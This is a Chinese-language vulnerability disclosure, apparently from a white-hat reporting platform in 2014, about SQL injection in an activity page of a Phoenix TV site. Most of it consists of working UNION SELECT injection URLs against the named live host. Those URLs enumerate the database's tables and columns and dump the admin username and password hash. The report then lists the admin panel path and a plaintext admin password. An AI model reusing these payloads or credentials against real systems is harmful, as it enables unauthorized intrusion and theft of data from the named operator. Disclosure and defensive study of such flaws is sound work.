漏洞详情

披露状态:

2014-09-28: 细节已通知厂商并且等待厂商处理中
2014-09-28: 厂商已经确认,细节仅向厂商公开
2014-10-08: 细节向核心白帽子及相关领域专家公开
2014-10-18: 细节向普通白帽子公开
2014-10-28: 细节向实习白帽子公开
2014-11-12: 细节向公众公开

简要描述:

凤凰网高危sql注入,系统沦陷

详细说明:

http://www.phoenixcne.de/activity2013/activity_person.php?id=83&game_id=11%20and%201=2%20union%20select%201,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
http://www.phoenixcne.de/activity2013/activity_person.php?id=83&game_id=11%20and%201=2%20union%20select%201,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17%20from%20information_schema.tables%20where%20table_schema=database()

advertise,article,candidate,candidate_pic,comment,favorite,game,game_album,game_notice,game_pic,game_switch,game_video,grab_record,hobby,links,manager,message,message_history,news,news_category,parameter,recom,recom_category,recom_comment,satellite,support,support_category,user_fav,user_hobby,users,vote,vote_statis


http://www.phoenixcne.de/activity2013/activity_person.php?id=83&game_id=11%20and%201=2%20union%20select%201,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17%20from%20information_schema.columns%20where%20table_name=0x6D616E61676572

manager_id,name,password,remark


爆管理密码
http://www.phoenixcne.de/activity2013/activity_person.php?id=83&game_id=11%20and%201=2%20union%20select%201,name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17%20from%20manager

admin


http://www.phoenixcne.de/activity2013/activity_person.php?id=83&game_id=11%20and%201=2%20union%20select%201,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17%20from%20manager

8acb9078a364545e924b9d5523f54e60


后台登陆,卫视系统沦陷
http://www.phoenixcne.de/myadmin
admin frankfurt!

123.png

漏洞证明:

如上

修复方案:

过滤

标签: none

评论已关闭